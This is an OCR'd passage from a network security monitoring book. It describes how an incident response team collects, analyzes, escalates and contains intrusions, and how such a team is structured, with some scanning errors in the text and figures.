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Data from N N collection > imorovement >
third party 3 |OC-free o | requirement 5 P
£ | analysis, or L R Analysis
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constituent requirement L

Event :)bse(irved/_, Identification —=Validation —=Documentation —sNotification —s= Ack—» Containment—sRemediation
store«

Request more data

Figure 9-2: NSM process

Collection, Analysis, Escalation, and Resolution
The detection and response phases include the following elements:

Collection Gathering the data we need to decide whether activity is
normal, suspicious, or malicious.

Analysis The process of validating what we suspect about the nature
of an event. As Figure 9-2 shows, there are two types of analysis: that
which is focused on indicators of compromise (IOCs), and that which
is not. (IOCs are discussed in “Analysis” on page 193.)

Escalation The act of notifying a constituent about the status of a
compromised asset. (I advocate using the term constituent because
it captures the theme that those the CIRT serves have a “vote” in the

CIRT’s operations, because constituents own the computers monitored
by the CIRT.)

Resolution The action taken by a constituent or security team mem-
ber to reduce the risk of loss.

As with the diagram of the enterprise security cycle in Figure 9-1, the
workflow in Figure 9-2 appears orderly and linear, but that’s typically not the
case in real life. In fact, all phases of the detection and response processes
may occur at the same time. Sometimes, multiple incidents are occurring;
other times, the same incident occupies all four stages at once. Figure 9-2
shows that detection is composed of collection and analysis, and response
includes escalation and resolution. Let’s take a closer look at each of these
elements.
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Collection

Collection includes various processes that gather information, both techni-
cal and nontechnical:

Technical processes Involves gathering data from endpoints or hosts
(such as computers, servers, tablets, mobile devices, and so on), the net-
work, and logs (created by applications, devices, and related sources).

Nontechnical collection processes Includes recording input from
third parties (outsiders like partners, law enforcement, intelligence
agencies, and so on) and constituents.

Technical Sources

One way to gather data from hosts is to use a commercial enterprise-class
platform like Mandiant for Intelligent Response (MIR, http://www.mandiant
.com/products/mandiant-platform/intelligent-response/), which asks questions of
endpoints via software. MIR enables CIRTs to sweep the enterprise for signs
of intruder activity, and then conduct targeted analysis of potential victim
computers. Other options include the commercial version of F-Response
(hitp://www. fresponse.com/), which allows basic remote access to hard drives
and memory, as well as native Windows tools such as Windows Management
Instrumentation Command-line (WMIC) and SysInternals PsExec.”

Network-centric collection is the focus of this book. The network access
methods discussed in Chapter 2, along with the platforms described in
Part II, and the tools introduced in Part III, combine to offer network-
derived data to analysts. Additional layers of interpretation transform raw
network information into indicators that merit attention.

Application logs are a primary source of technical data in the collection
phase, and any application or device that generates them can provide valu-
able information. Output from an antivirus agent and the Apache process
on a web server are examples of application logs.

Log collection requires at least the following:

e A log source that creates application data
e A log collector that accepts and stores the data

e A transport method to move the logs from the source to the collector

For example, ELSA might collect logs from a proxy server, with Syslog
acting as the transport method.

Host data differs from application logs in that host data is often acquired
on demand, while logs are created by a regularly scheduled process. Using
MIR, for example, you can remotely query for host data like a mutex in
memory or an artifact in the Windows Registry. This concept of interrogat-
ing computers for specific indicators of compromise (IOCs, discussed in
“Analysis” on page 193) is a powerful host-centric technique.

2. Mike Pilkington’s posts to the SANS forensics blog are especially helpful: Attp://
computer-forensics.sans.org/blog/author/mpilkington.
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Nontechnical Sources

Nontechnical sources can be even more important to the success of the
NSM process. For example, the 2013 edition of the Mandiant M-Trends
report (http://www.mandiant.com/resources/m-trends/) noted that organiza-
tions received warning of intrusions from external parties two-thirds of the
time; only one-third of the time did they discover the event themselves.

When identifying an event using internal sources, reports from users
are often crucial. Users trained to be aware of phishing activity can be a
key aspect of enterprise defense. The user who reports a failed phishing
attempt may provide the warning and evidence needed to detect when that
same attempt succeeded against another victim.

WHAT DATA SHOULD YOU COLLECT?

This book recommends collecting several classes of network-centric data. This
NSM data includes full content, extracted content, session data, transaction
data, statistical data, metadata, and alert data. Is all that necessary? How
should a CIRT decide what data to collect to improve its chances of defecting
and responding to all sorts of digital intruders?

Eric M. Hutchins, Michael J. Cloppert, and Rohan M. Amin offer one model
to help answer this question in their landmark paper “Intelligence-Driven Com-
puter Network Defense Informed by Analysis of Adversary Campaigns and
Intrusion Kill Chains” (http://papers.rohanamin.com/wp-content/uploads/papers
.rohanamin.com/2011/08/iciw2011.pdf). In this paper (and in talks at confer-
ences), they outline the steps an intruder takes when exercising a certain set of
tactics, techniques, and procedures (TTPs, a term borrowed from the US military
to characterize intruder activity). Although the authors developed their model to
counter advanced persistent threat (APT) TTPs,
this general form of analysis can be adapted to
suit other actors and other methods. (For more
information on the APT, see Mandiant's report at Reconnaissance
http://www.mandiant.com/aptl/) Their model
appears in Figure 9-3, and is referenced in
their paper as an intrusion kill chain.

This series of steps resembles the process
discussed in previous works, such as the “phases Exploitation
of compromise” in my first book The Tao of
Network Security Monitoring: Beyond Intrusion
Detection (Addison-Wesley, 2004): (1) recon-
naissance, (2) exploitation, (3) reinforce-

Weaponization

Delivery

Installation

Command and control

ment, (4) consolidation, and (5) pillage. The Actions on intent
“anatomy of a hack” from Hacking Exposed,

Fourth Edition (McGraw-Hill Osborne Media, Figure 9-3: Intrusion kill
2003) is similar: (1) footprinting, (2) scanning, chain model
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(3) enumeration, (4) gaining access, (5) escalating privilege, (6) pilfering,
(7) covering tracks, (8) creating backdoors. Others have their own versions
of the steps taken by an adversary when compromising a target.

What makes the approach offered by Hutchins, Cloppert, and Amin unique
is its focus on aligning one’s security program with the steps in the intrusion
kill chain. They show example technologies to detect, deny, disrupt, degrade,
and/or deceive the adversary. NSM fits this model well, because it provides a
way to detect and respond to intruders before they accomplish their mission.
Therefore, the intrusion kill chain offers a powerful model for identifying the
data we need to collect.

The most robust NSM operation will have a detection method for each
step in the intrusion kill chain, with data sources that vary according to the net-
work. Figure 9-4 shows the intrusion kill chain with sample data sources, includ-
ing host, network, application, and nontechnical.

Intrusion Kill Chain Detection Method

Reconnaissance

Web access logs

Weaponization

Extracted content

Delivery User report
Exploitation Endpoint assessment
Installation Endpoint assessment

Command and control

Transaction data

Actions on intent

Memory analysis

Figure 9-4: Intrusion kill chain and possible detection
sources and methods

To understand Figure 9-4, suppose that an intruder wants to compromise
a certain company in order to steal data. He decides to conduct a spear phish-
ing attack to gain initial access to the target. To identify users at the company,
he downloads all documents from the company’s website that contain email
addresses of company users. The intruder crafts an enticing phishing email,
inserts exploit code into an attachment, and transmits the malicious message to a
set of users at the company. Once a victim user clicks the malicious attachment,
which is malware that will exploit a vulnerability in the user’s word processing
application, the malware establishes an outbound command-and-control chan-
nel to a site controlled by the intruder. At that point, the intruder is ready to
begin looking for the data he wants to steal.

(continued)
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Figure 9-4 shows how various sources and methods could be used to
detect each phase of the intrusion kill chain. The CIRT could analyze access
logs to detect an intruder using a search engine to find email addresses on the
company’s website. As the phishing message passes through the company’s
email servers, automated processing software could extract the malicious attach-
ment and analyze it for suspicious features. One or more recipients of the phish-
ing message could report receiving it.

The CIRT could use an endpoint assessment tool to find indicators of com-
promise created by the exploitation of a vulnerable word processing applica-
tion and the installation of malware that follows. The CIRT could observe the
command-and-control channel in transaction data collected by its SO platform.
Finally, to see individual commands executed by the intruder, the CIRT might
analyze memory captured from one or more victim systems.

These sample detection sources and methods will not be available to all
organizations. You may need fo rely more heavily on the tools you have avail-
able. It is likely that at the start of the NSM journey, many CIRTs will see gaps
in their ability to detect all phases of the intrusion kill chain. Smart CIRTs will
work to meet those gaps, using a combination of technical and nontechnical
methods, and they will build countermeasures to try to deny, disrupt, degrade,
and/or deceive the adversary. Not all measures will work against all attack
methods, but resisting or detecting “higher” up in the chain (that is, earlier)
gives the defender the best chance to prevent the adversary from accomplish-
ing his mission.

The bottom line is that collection requires several components in order
to be effective. These include:

e Data from the host, network, and applications forms the technical
foundation

e A process to accept reports from third parties and constituents to
gather nontechnical data

e A database, ticketing system, or other platform to manage this
information

We’ve discussed SO as one technical tool for data collection, but it’s not
the only method available. Your organization can use email, help desk staff,
and related processes to manage the nontechnical collection duties.

Some organizations end the NSM process at the collection phase. They
regard NSM collection tools and techniques as yet another set of systems
to deploy and discard. They view collection as the end itself, instead of a
means to an end. Don’t get caught in this trap! While well-instrumented
networks are rare, take the next step and do something with the data.
Enter the analysis phase.
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Analysis

Analysis is the process of identifying and validating normal, suspicious, and
malicious activity. IOCs expedite this process. Formally, IOCs are manifes-
tations of observable or discernible adversary actions. Informally, IOCs are
ways to codify adversary activity so that technical systems can find intruders
in digital evidence. For example, the Mandiant APT1 report (hitp://www
.mandiant.com/aptl/) released in February 2013 listed more than 3,000 IOCs,
including IP addresses, domain names, and MDb5 hashes of tools used by
Unit 61398 of the People’s Liberation Army. (Mandiant identifies certain
threat groups with the prefix APT, followed by a number, such as APTI,
APT2, and so on.)

I refer to relying on IOGCs to find intruders as /OC-centric analysis, or
matching. Analysts match IOCs to evidence to identify suspicious or mali-
cious activity, and then validate their findings.

Matching is not the only way to find intruders. More advanced NSM
operations also pursue I0OC-free analysis, or hunting.

In the mid-2000s, the US Air Force popularized the term hunter-killer in
the digital world. Security experts performed friendly force projection on their
networks, examining data and sometimes occupying the systems themselves
in order to find advanced threats. Today, NSM professionals like David Bianco
(http://detect-respond.blogspot.com/) and Aaron Wade (http://forensicir.blogspot
.com/) promote network “hunting trips,” during which a senior investigator
with a novel way to detect intruders guides junior analysts through data and
systems looking for signs of the adversary. Upon validating the technique (and
responding to any enemy actions), the hunters incorporate the new detection
method into a CIRT’s IOC-centric operations. (Chapters 10 and 11 contrast
the matching and hunting methodologies to demonstrate the strengths and
weaknesses of each.)

Intrusions and Incidents

Analysts use data to identify and validate intrusions. Intrusions are one
example of an incident. Other examples of incidents include disruption
caused by DDoS attacks, the loss or theft of a mobile device, and lost con-
nectivity due to a severed network cable. But just what is an intrusion, and
what is an incident?

Intrusions are policy violations or computer security incidents. In their
book, Incident Response and Computer Forensics, Second Edition (McGraw-Hill
Osborne Media, 2003), Kevin Mandia and Chris Prosise define an incident
as “any unlawful, unauthorized, or unacceptable action that involves a
computer system or a computer network.” These definitions leave plenty
of room to maneuver, and your organization should decide what these
terms mean to you. Your goal should be to adopt internally consistent
definitions. For example, Figure 9-5 depicts a classification method
(http://taosecurity.blogspot.com/2009/06/information-security-incident. html and
http://taosecurity.blogspot.com/2009/06/extending-information-security-incident
.himl) that builds on a subset of intrusion categories, or cat levels, as popu-
larized by the US Department of Defense.

NSM Operations 193

www.it-ebooks.info


http://www.it-ebooks.info/

194

Chapter 9

Name  Description

Intruder tried to exploit asset with access to sensitive data, but failed.
Intruder compromised asset with ready access to sensitive data.

Intruder exfiltrated nonsensitive data or data that will facilitate access to

Breach 2 sensitive data.

Intruder publicized stolen data online or via mainstream media.

Crisis 1 | Data loss resulted in physical harm or loss of life.

Figure 9-5: Suggested intrusion categories

These categories are designed to help the analyst understand the out-
come and nature of an intrusion. For example, say an analyst determines
that an intruder compromised a computer by executing unauthorized
code, perhaps by tricking a user into opening a malicious attachment that
exploited a vulnerable Java installation. However, if the analyst further
determines that the outbound command-and-control channel was denied
by the enterprise proxy, the intrusion is classified as a Cat 1. Because the
intruder could not establish his command-and-control channel, the inci-
dent falls short of a Breach 3.

As another example, suppose that an analyst finds that an intruder has
compromised a computer by executing unauthorized code on the target. In
this case, the intruder has also exfiltrated, or stolen, nonsensitive data, such
as a user’s shopping list. If the CIRT acts quickly, it can contain the victim
before the intruder steals sensitive data, or pivots from the initial victim
to another victim’s system. If the CIRT succeeds, the incident is a Breach 2.
If the CIRT fails, and the intruder steals sensitive data, the incident is a
Breach 1. If the intruder chooses to publish the stolen data online, the inci-
dent is a Crisis 3.
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Event Classification

CIRTs may classify incidents within their analysis console or via an incident
tracking system. For example, the open source Sguil and Snorby consoles
(discussed in Chapter 8) support incident classification using function keys.
Other options include labeling results in Security Information and Event
Management (SIEM) or log management platforms.

Classification should include the user ID of the analyst making the deci-
sion, the time of the classification, the classification itself, and an optional
comments field. Systems that support forwarding events to more senior
analysts are helpful. Collaboration and social discussions of incident data
(such as tagging, chatrooms, and forums) help improve the decision-
making process.

The bottom line for the analysis process is that analysts must count and
classify all incidents that affect their constituents. Counting and classifying
incidents creates one of the two key metrics any CIRT must collect. (The
second key metric is the time elapsed from incident detection to contain-
ment, as discussed in “Resolution” on page 198.) The definitions do not
need to conform to any international standard, but they must be internally
consistent.

That said, if a CIRT wants to contribute data to an incident-reporting
project, the CIRT must align its incident definitions with that of the outside
body. Whether reporting internally or externally, CIRTs should be able to
produce regular reports on the number and types of incidents per unit
time, such as per quarter or per year. What the organization does with the
output of the analysis process is the topic of the next section.

Escalation

Escalation refers to the process the CIRT uses to document its findings,
notify its constituents, and receive acknowledgment from the constituents
of the incident report. Escalation may seem like an afterthought, unwor-
thy of its own section, but in large and/or distributed environments, esca-
lation is one of the most difficult aspects of the NSM process.

Documentation of Incidents

Documentation creates a record of an event, as well as the CIRT’s work to
handle that event. It’s important to assign a single incident number to each
victim computer. (Consider exploited applications to be computers for the
purposes of this exercise.) Do not assign multiple compromised computers to
a single incident number, unless you use a different term for a single compro-
mised computer. For example, some CIRTs call a single victim a compromise,
and one or more compromised computers an ¢ncident. The point is to use a
granular term that applies to a single victim computer; without such detail, it
becomes impossible to collect and measure incident response metrics.
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Organizations will choose to incorporate different levels of detail into
their incident reports. For example, CIRTs handling hundreds or thousands
of incidents per year will likely capture the essential details of a victim system,
while those working with fewer incidents might document in more detail.

When possible, consider documenting incidents using a community
standard like the Vocabulary for Event Recording and Incident Sharing
(VERIS). VERIS provides a common language for describing security inci-
dents consistently. You’ll find examples of how to document incidents of
various types posted at the VERIS project site (http://veriscommunity.net/).

Notification of Incidents

Notification is the next step in the escalation process. It requires you to
identify the compromised asset, find a person or group responsible for the
victim, and deliver an incident report to the affected party. The process
may sound easy, but it can be exceptionally difficult when working with
large or distributed networks due to the generally poor state of inventory
management and network visibility that afflicts many organizations.

WHAT IS A DEFENSIBLE NETWORK ARCHITECTURE?

Identifying a compromised asset, finding a responsible owner, and delivering an
incident report are three of the toughest jobs in security, but they are not the only
challenges. | developed a defensible network architecture to explain the charac-
teristics of organizations whose network offers the greatest overall security (http://
taosecurity.blogspot.com/2008/01/defensible-network-architecture-20.html). The
list starts with the characteristics a security team should adopt first, and as it con-
tinues, the elements become progressively more difficult to implement.

Monitored CIRTs can view all assets at the host, network, and application

log levels.

Inventoried CIRTs can access an inventory identifying asset location, purpose,
data classification, criticality, owner, and contact method.

Controlled The security team enforces access control at the host, network, and
application levels to permit authorized activities and deny everything else.
Claimed The asset owner listed in the inventory exerts active control of the system.
Minimized The assets provide the minimum surface area required to perform
their business function; unnecessary services, protocols, and software are disabled.
Assessed The CIRT routinely evaluates the configuration of the assets to deter-
mine their security posture.

Current The IT team keeps the assets patch status and configuration up-to-date
with the latest standards.

Measured The IT team and CIRT measure their progress against the previous
steps.

Organizations that adopt a defensible network architecture are best posi-
tioned fo resist compromise and to respond effectively to intrusions as they occur.
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Notification is impossible if the CIRT cannot map an IP address or
hostname to a real computer, determine its owner, and contact the owner.
If any of these steps fail, the incident remains unreported and the network
at risk.

Notification also depends on the risk posed by a particular incident.
For example, communications about a Cat 2 incident (unauthorized user-
level access) should probably not carry the urgency of communications
about a Breach 2 incident (intruder has stolen sensitive data).

Regardless, all reporting should be in accord with the standard inci-
dent management platform used by the CIRT, but the CIRT and constituents
should agree to different expected response times based on the severity of
incidents. If an incident is urgent, use the telephone or instant messaging;
time is a crucial component in that case. Be sure that everyone understands
how to communicate about incidents and practice the process of notifica-
tion regularly. At the same time, form backup notification plans in case the
primary contacts are unresponsive.

Acknowledgment of the incident report is the final step in the escala-
tion phase, but this step can be a challenge because some constituents
don’t care to know that their computers are compromised (or they’re just
swamped with other work). Others have no IT or security abilities whatso-
ever and may depend completely on the CIRT for the next steps. Whatever
the case, track the acknowledgment time and method in whatever system
you use to manage incident reporting to help improve the overall security
process.

Incident Communication Considerations

Organizations compromised by persistent threats should assume that the
adversary has access to their email. Reading CIRT and security team mes-
sages is a favorite attacker pastime. Unfortunately, email is often the least
common denominator when it comes to enterprise communication. Large,
distributed organizations may have different chat applications, collabora-
tion platforms, or other forms of communication, but most everyone has
an email address that they monitor closely. Make sure to encrypt sensi-
tive CIRT-to-constituent email conversations and exchange truly sensitive
information by phone. If you suspect that an attacker has penetrated
your Voice over IP Protocol (VoIP) network, use cell phones. The same
goes for corporate-hosted real-time chat systems and other collaboration
platforms.

Many compromised organizations choose to communicate via email
using something like Gmail or another provider in order to avoid their
compromised systems. Stress-test these response activities before detecting
a serious incident.

Now that the CIRT and constituents are communicating about an inci-
dent, the final phase turns to doing something to mitigate the risk of loss.
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Resolution

Resolution refers to the process CIRTs and constituents use to transition
compromised systems from an at-risk state to a trustworthy state. The actual
transition process takes many forms, depending on the nature of the inci-
dent, as well as the capabilities and risk tolerance of the CIRT and constitu-
ents. Each party must balance the risk of data loss, alteration, or denial

of service against the business requirement of the compromised assets.
Frequently, the CIRT will want the compromised computer off the network
as quickly as possible, while the business owner will want it online no matter
what the cost.

When resolving incidents, consider establishing risk-mitigation guidelines.
When any asset is compromised, the constituent must take at least one mea-
sure to reduce risk of data loss, alteration, or denial of service, depending
on the nature of the incident. Taking no action is not an option. Tolerating
an intruder on the network is at best poor practice and at worst an invita-
tion for a lawsuit or other penalty.

Containment Techniques

The CIRT and constituents should devise a hierarchy of possible risk-
mitigation tactics. These response options focus on containing intruders
and limiting their freedom to interact with victim computers, or pivot from
a victim computer to yet another victim.

When containing an intruder, begin with the victimized computer and
consider the following possibilities:

e Put the computer in hibernate mode. (Don’t turn it off; you will lose
valuable volatile data in memory.)

e Shut down the port the computer uses to accesses the network.

e Implement a local firewall rule or kernel-level filter to deny the com-
puter the ability to communicate with other computers.

e Implement an access control list entry to prevent the computer from
communicating with other computers.

e Implement a routing change to prevent the computer from communi-
cating with other computers.

¢ Implement a firewall or proxy block to deny the computer access to the
Internet, which will cut off remote command-and-control channels.

More advanced CIRTs will have other tricks up their sleeves, such as
transitioning the intruder to a honey network of simulated computers for
study in a “safe” environment. (A honey network is a collection of computers
deployed by a CIRT to entice, trap, and observe intruders.) Whatever the
choice of action, key to this process is ensuring that the CIRT and constitu-
ent take some action to reduce risk of loss.
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Speed of Containment

The speed with which a CIRT and constituent take containment actions is
the subject of hot debate in the security world. Some argue for fast contain-
ment in order to limit risk; others argue for slower containment, providing
more time to learn about an adversary. The best answer is to contain inci-
dents as quickly as possible, as long as the CIRT can scope the incident to
the best of its capability.

Scoping the incident means understanding the intruder’s reach. Is he lim-
ited to interacting with only the one computer identified thus far? Does he
control more computers, or even the entire network by virtue of exploita-
tion of the Active Directory domain controllers?

The speed with which a CIRT can make the containment decision is one
of the primary ways to measure its maturity. If the CIRT regularly learns of
the presence of advanced (or even routine) threats via notification by exter-
nal parties, then rapid containment is less likely to be effective. A CIRT that
cannot find intrusions within its own environment is not likely to be able to
rapidly scope an incident. “Pulling the plug” on the first identified victim will
probably leave dozens, hundreds, or thousands of other victims online and
available to the adversary.

On the other hand, if the CIRT develops its own threat intelligence,
maintains pervasive visibility, and quickly finds intruders on its own, it is
more likely to be able to scope an incident in 2 minimum amount of time.
CIRTs with that sort of capability should establish the intruder’s reach as
rapidly as possible, and then just as quickly contain the victim(s) to limit
the adversary’s options.

Deciding which containment action to take can be tricky. One way to
decide is to adopt either a threat-centric or an asset-centric approach to
defending information resources.

A threat-centric approach focuses on the presumed nature of the adver-
sary. A mature CIRT will likely track many distinct threat groups, and rec-
ognize when a more sophisticated or damaging threat compromises one
or more computers. When the CIRT detects that a threat group is active in
the environment, the CIRT will likely act quickly to contain the adversary.
If the CIRT instead notices a more routine event involving a criminal actor,
the CIRT may take a more leisurely response.

An asset-centric approach focuses on the presumed nature of the victim
computer. A CIRT working with a mature I'T and business organization
will understand the sensitivity of the data on its networks and the roles of
systems processing that data. When the CIRT detects an incident affecting
a business-essential asset, the CIRT acts quickly. If the CIRT instead notices
activity affecting a less important asset, such as an employee laptop, the
CIRT acts less quickly. Some CIRTs take a hybrid approach, weighing the
relative nature of the threat actor and the affected asset.

CIRTs should document their processes in playbooks that outline the
responsibilities and actions to be taken by CIRTs and constituents. CIRTs
should also track intruder activity differently, depending on the nature of
the threat. For example, mature CIRTs opposing the APT and aggressive
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HOW TO TRACK WAVES AND CAMPAIGNS

Although CIRTs should assign numbers of some sort to incidents (such as
201305180006, for the sixth incident on the 18th of May, 2013), | recommend
that CIRTs devise names to refer to waves. Names are easier to remember than
numbers, and using them makes it easier for CIRTs to discuss serious activities
with constituents. Some CIRTs use the names assigned by the National Weather
Service's National Hurricane Center (http://www.nhc.noaa.gov/aboutnames
.shtml) for a year’s worth of wave names. For example, the first wave of 2013
initiated by a CIRT to counter advanced threat activity would be named Wave
Andreaq, the second would be Wave Barry, and so on.

It is crucial to recognize that, in the heat of an intrusion, CIRTs lack the
ability to fully identify adversary activity. It does not make sense to assign a
campaign to adversary activity in the heat of battle. Rather, organize accord-
ing to how the CIRT is responding. Outside the digital melee of the ongoing
response activities, the CIRT's intelligence team can perform analysis to deter-
mine how observed adversary actions fit into the overall picture.

Mature CIRTs track numerous threat groups, such as nation-state, criminal,
and hacktivist actors. CIRT intelligence teams will assign adversary activity to
these threat groups, pairing the CIRT’s wave response with the threat group in
question. For example, the intelligence team may realize that Wave Andrea
was the CIRT's response to APT12, while Wave Barry was the CIRT's response
to APT1.

criminal groups often talk in terms of adversary campaigns. A campaign
is a long-term operation conducted by an adversary, usually to steal infor-
mation. A single intrusion is likely to be just one piece of an adversary’s
campaign.

CIRTs fighting persistent foes tend to organize their response actions
as waves. A wave does not exactly correspond to a campaign. Whereas a
campaign refers to the totality of an intruder’s prolonged attack against
a target, a wave refers to the CIRT’s efforts to detect and respond to the
adversary. In other words, intruders conduct campaigns, and CIRTs defend
in waves. CIRTs will never have perfect visibility into adversary activity.
Therefore, track what you think the adversary is doing (for example, a cam-
paign), as well as what the CIRT is doing (for example, a wave).

Mature CIRTs, upon recognizing that they need to respond to a serious
incident, are likely to take the following steps.

Select a wave name and declare the wave open.

2. Create a telephone bridge and password-protected real-time chatroom
to discuss activities to counter the adversary.

3. Send an urgent notice to affected constituents letting them know that
the CIRT has opened a wave and how to communicate with the CIRT
via the telephone and chatroom.
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4. Collect and analyze additional evidence as necessary to scope the
incident.

5. Escalate rapid incident reporting to constituents via real-time and digi-
tal means, identifying victim systems and data.

6. Coordinate a containment action with the constituents to limit the risk
of data loss, alteration, or denial of service.

7. Once containment for all victims is in place, declare the wave closed.

8. Throughout the duration of the wave, communicate regularly with con-
stituents to keep them informed and to reduce tension.

For less serious events, CIRTs do not need to employ such elaborate
communication methods. CIRTs will concentrate on documenting the
incident in an efficient manner and notifying the constituent within the
expected service time windows. For both types of events, CIRTs should mea-
sure times of key steps in the detection and response process. For example,
the text at the bottom of Figure 9-2 (which illustrates the elements of the
NSM process) depicts points during the incident detection and response
subprocesses when time should be recorded. Figure 9-6 reproduces those
key moments.

Request more data

it

Event observed/stored —— Identification —— Validation —— Documentation ——

Notification — Acknowledgment —— Containment — Remediation

Figure 9-6: Events for which time should be recorded

So far, we’ve focused on containment, or countermeasures, designed
to limit risk, but containment alone still leaves the victim computer com-
promised. Once an attack has been contained, it’s time for remediation, or
restoring the compromised asset to a trustworthy state.

Remediation

Remediation is another hot topic in the security industry. Some argue that
systems can be “cleaned” to remove the intruder’s tools, persistence mecha-
nisms, and access methods. Others say victim computers should be rebuilt
from installation media or trustworthy backups. A few even say compromised
systems should be reflashed or abandoned, because advanced intruders can
implant persistence mechanisms in hardware!

You should rebuild any system with which an adversary was known
to interact, but only after fully scoping the incident. Here, interact means
there is a forensic reason to assume the adversary acquired and utilized
unauthorized access to a victim. It does not mean the intruder could have
accessed the victim, but did not. The fact of that matter is that it is virtu-
ally impossible for a CIRT to know all the actions an intruder took on any
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victim. Usually, a CIRT sees only the proverbial “tip of the iceberg.” After
all, why jeopardize a remediation plan by trying to “clean” a victim, only to
learn that disinfection failed to remove a persistence mechanism?

How fast should you remediate? Some CIRTs strive to limit the time
from detection to containment to one hour or less. Others are more aggressive
(and ambitious) and strive to limit the time from adversary access to remedia-
tion to one hour or less. The choice depends on the risk tolerance of your
organization and the capabilities of the CIRT, IT teams, and constituents.
Once you start tracking times from detection to containment, you may find
that containment takes weeks, not an hour. Record these metrics and try to
drive down the time as you continue to develop your process and tactics.

Using NSM to Improve Security

At this point, we have a framework to think about CIRT and security improve-
ment. Let’s look at a few examples of how it could work in practice.

e Avendor proposes adding a probe to collect and interpret NetFlow
records (a type of session data) from border routers. This activity
belongs in the collection phase of the NSM process. Because the CIRT
already gathers session data using Argus and Bro on SO sensors that
are watching gateways, additional collection may not be necessary. The
CIRT rejects the offer to buy NetFlow processing equipment.

e Mandiant releases its report on APT1 (http://www.mandiant.com/aptl/).
The archive includes more than 3,000 indicators. The CIRT realizes it
can use the indicators for IOC-centric matching activities, part of the
analysis phase in the NSM process. Mandiant also releases over 100 pages
describing tools used by APT1 actors. The CIRT uses that information
for IOC-free hunting analysis.

e The time elapsed from incident detection to containment at a particu-
lar company is on the order of weeks, and the CIO wants to decrease
this to under one hour. A vendor proposes a new asset management
system. Multiple business lines express enthusiasm for the new tool
and form a working group to better manage asset inventory. The CIRT
endorses this new system because it will decrease the time needed to
identify asset owners and will improve the accuracy of incident notifica-
tion during the escalation phase of the NSM process.

e The networking team decides to try implementing a network access
control (NAC) solution. The IT team members resist the program
because they fear it will impede user productivity, but the CIRT thinks
that this solution could be helpful during the resolution phase of the
NSM process. The CIRT convinces the IT team to support the NAC
solution.

202 Chapter @

www.it-ebooks.info


http://www.it-ebooks.info/

These examples demonstrate how working within the NSM process
can help CIRTs make better decisions regarding their operations. Rather
than being led by the newest security fad or vendor tool, CIRTs can identify
deficiencies in and improve all phases of their NSM process. By addressing
existing gaps, the CIRT can reduce detection and response time and help
identify problems in systems that are leading to compromise.

Building a CIRT

This book is primarily for those practicing NSM as individuals or as mem-
bers of CIRTs. Those of you working as lone contributors may wish your
constituent to expand the resources for handling NSM duties. To help jus-
tify additions, track these key metrics:

e The classification and count of incidents

e The time elapsed from incident detection to containment

Take these metrics to management staff members and ask if they are
satisfied with their numbers. Are they happy with the type and number of
incidents per quarter and year? Are they content with the amount of time it
takes to progress from incident detection to containment? If the answer is
no, estimate the cost of adding manpower, new tools, and better processes.
That’s your justification for adding new CIRT capabilities, or even creat-
ing the organization’s first CIRT. (For more reasons to build a CIRT and
related counter-threat operations, see my article “Become a Hunter” in the
July—August 2011 issue of Information Security Magazine at hitp://taosecurity
.blogspot.com/2011/12/become-hunter.html.) Once you've been given the approval
to add CIRT capacity, the next decision is how to build a team. I recommend
the general functions shown in Figure 9-7.

| Director of Incident Response |

Incident Detection and Applied Threat Infrastructure and
Response Intelligence Development

Incident Handlers Principal Analysts Architects
Incident Analysts Senior Analysts Engineers
Event Analysts Associate Analysts Administrators

Constituent Relations Team

Figure 9-7: General CIRT structure
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The CIRT structure includes the following:

Director of Incident Response

The director organizes, trains, and equips the CIRT to succeed. The
director selects a deputy from one of the three CIRT components to
assist with this mission, and keeps management away from the CIRT
so the CIRT can do its job.

Incident Detection and Response (IDR) Center

This group is responsible for the daily analysis and escalation of secu-
rity incidents. The IDR Center consists of incident handlers (IHs, expe-
rienced analysts tasked with hunting), incident analysts (IAs, mid-level
analysts who combine hunting with matching), and event analysts (EAs,
beginning analysts who focus on matching). Analysts at all levels have
access to all datatypes, but EAs and IAs may classify only events for which
they are responsible. IHs train IAs and EAs, take them on digital hunt-
ing trips, and operationalize lessons into the repeatable playbooks EAs
use to identify intrusions. IHs open, manage, and close waves, depend-
ing on IAs and EAs for support. If possible, the IDR Center works a
24x7 schedule, with at least EAs on 24x7 duty and IHs and IAs on call.

Applied Threat Intelligence (ATI) Center

This group is responsible for digital intelligence activities, internal
security consulting, adversary simulation, red teaming, and penetration
testing. It includes the following teams:

®  An Intelligence Team provides reporting support during waves and
regular briefings and updates on adversary activity to the CIRT and
constituents. The team members also search evidence for indicators
of compromise and analyze it to extract adversary tools, techniques,
and procedures.

e The Red Team proactively assesses and tests the organization to
determine its security posture by simulating a wide variety of
threats. This team provides a metric against which CIRT perfor-
mance can be measured.

e The Blue Team members act as internal security consultants. They
help the organization improve the security of their assets.

Infrastructure and Development (ID) Center

This group enables the other two CIRT components by employing soft-
ware developers who code production-grade tools. It designs, builds,
deploys, and runs the collection, analysis, and escalation tools. It also
leads development of new detection and response techniques. While
the other teams may develop proof-of-concept tools to support their
missions, the ID Team eventually assumes responsibility for those tools.
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Constituent Relations Team
This group acts as an intermediary between the CIRT and its constitu-
ents. These team members help keep things running smoothly between
CIRT and constituents, and they represent the CIRT outside the com-
pany itself.

Conclusion

This chapter explained the enterprise security cycle consisting of planning,
resistance, detection, and response phases. Many organizations pour all

of their effort into planning and resistance, but invest next to nothing for
detection and response.

In recent years, as persistent intruders have sliced through routine
defenses, organizations have begun to realize the value of detection and
response. If adversaries lose access to an organization before they can accom-
plish their mission, then they lose. The CIRT wins every time it defeats an
adversary before he can steal, alter, or deny access to business information.

The NSM process of collection, analysis, escalation, and resolution is
a powerful framework that can empower CIRTs and frustrate adversaries.
In order to be successful, CIRTs must classify and count all incidents they
detect, as well as measure the time from incident detection to containment.
They should develop time-sensitive processes for managing incidents, and
structure themselves to offer a mix of detection, intelligence, and support
functions.

With this understanding in place, we now turn to a couple of case stud-
ies showing NSM operations in action.
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SERVER-SIDE COMPROMISE

This is the moment of truth. Now you are
ready to see NSM in action. In this chapter,

we’ll put the theory, tools, and process to

work in a simple compromise scenario. So far,
you’'ve implemented a sensor using SO and collected
some NSM data. Now you plan to analyze the avail-
able evidence.

This chapter demonstrates a server-side compromise—one of the major
categories of malicious network activity you're likely to encounter. The next
chapter demonstrates a client-side compromise, which may be even more
popular than the server-side variant. We begin with a server-side compro-
mise because it is conceptually easier to understand.

Because this is a book about NSM, in this chapter and Chapter 11 we’ll
look at intrusion patterns for two popular network-centric attack types.
For example, I won’t discuss inserting a malicious USB drive into a laptop,
or password guessing by a rogue insider sitting at an internal computer
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terminal. Instead, we’ll focus on attacks across the network. These are
